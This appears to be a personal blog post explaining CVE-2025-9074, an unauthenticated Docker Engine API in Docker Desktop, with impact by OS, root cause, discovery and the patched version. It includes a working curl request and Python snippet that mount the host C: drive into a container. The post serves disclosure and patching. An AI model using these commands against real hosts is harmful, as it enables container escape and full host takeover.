What’s CVE-2025-9074?
So I stumbled across this CVE the other day and honestly, it made me shake my head. CVE-2025-9074 is a nasty one in Docker Desktop with a CVSS of 9.3, and when you see how it works, you’ll understand why.
Docker Desktop on Windows and macOS has this thing where it exposes the Docker Engine API on 192.168.65.7:2375. Nothing wrong with that, except… there’s no authentication. Like, none at all.
How bad is it?
It’s embarrassingly easy to exploit. I’m talking about something like this:
curl -X POST http://192.168.65.7:2375/containers/create \ -H "Content-Type: application/json" \ -d '{ "Image": "alpine", "Cmd": ["touch", "/mnt/gotcha"], "HostConfig": { "Binds": ["C:\\:/mnt"] } }'That’s it. You just mounted the entire C: drive into a new container. Or if you’re more of a Python person:
import dockerclient = docker.DockerClient(base_url="tcp://192.168.65.7:2375")client.containers.run("alpine", "touch /mnt/owned", volumes=["C:\\:/mnt"])Three lines and you own the machine.
Impact by Operating System
- Windows users → Full access to the C: drive with Docker Desktop user privileges - usually enough to read sensitive stuff, modify system files, or escalate to admin
- Mac users → Better protected thanks to Apple’s security, some operations will ask for permission, but you’re still in trouble
- Linux users → Can chill, regular Docker doesn’t have this problem since it uses Unix sockets instead of TCP
Why this really bugs me
What gets me about this vulnerability is that it doesn’t care about your security settings. Got Enhanced Container Isolation turned on? Doesn’t matter. Configured all the security options properly? Still screwed. The API is just sitting there, wide open.
Plus you can chain this with other vulnerabilities. Find an SSRF in some web app running in Docker Desktop? Boom, you can hit this API and own the whole machine.
The Technical Side
The root cause is pretty straightforward - Docker Desktop needed a way for its components to talk to the Docker daemon, so they exposed this API. Problem is, they didn’t think about what happens when malicious code gets access to it.
It’s one of those design decisions that probably made sense at the time but creates a massive security hole.
Getting it Fixed
Docker pushed out a fix in version 4.44.3. They basically just added proper authentication to the API - you know, like it should have had from the start.
If you’re using Docker Desktop, check your version with docker --version and update if you need to. This isn’t something you want to leave unfixed.
My Thoughts on This
This whole thing reminds me why I’m always a bit suspicious of tools that try to make complex stuff “easy.” Docker Desktop hides a lot of complexity to make Docker more user-friendly, but sometimes that creates problems like this.
From a pentesting perspective, it’s a good reminder to always scan everything you can reach, even the weird internal stuff. That random port on some Docker subnet could be your way to full system access.
How it was Discovered
Apparently someone found this just by doing network scans from inside a container. They saw this open port, investigated, and realized it was the Docker API with no auth. Sometimes the best vulnerabilities are found by accident when you’re just poking around.
That’s actually how I find a lot of interesting stuff too - just trying things that probably shouldn’t work but sometimes do.
Bottom Line
CVE-2025-9074 is one of those vulnerabilities that makes you go “really?” when you first see it. The exploitation is trivial, the impact is massive, and the fix is obvious. It’s a textbook example of what happens when convenience trumps security in the design process.
If you’re doing development work with Docker Desktop, definitely get this patched. And if you’re in security, it’s worth adding this to your testing checklist - you never know when you might run into an unpatched instance.
Reference: CVE-2025-9074
Tags : cve docker container-escape vulnerability security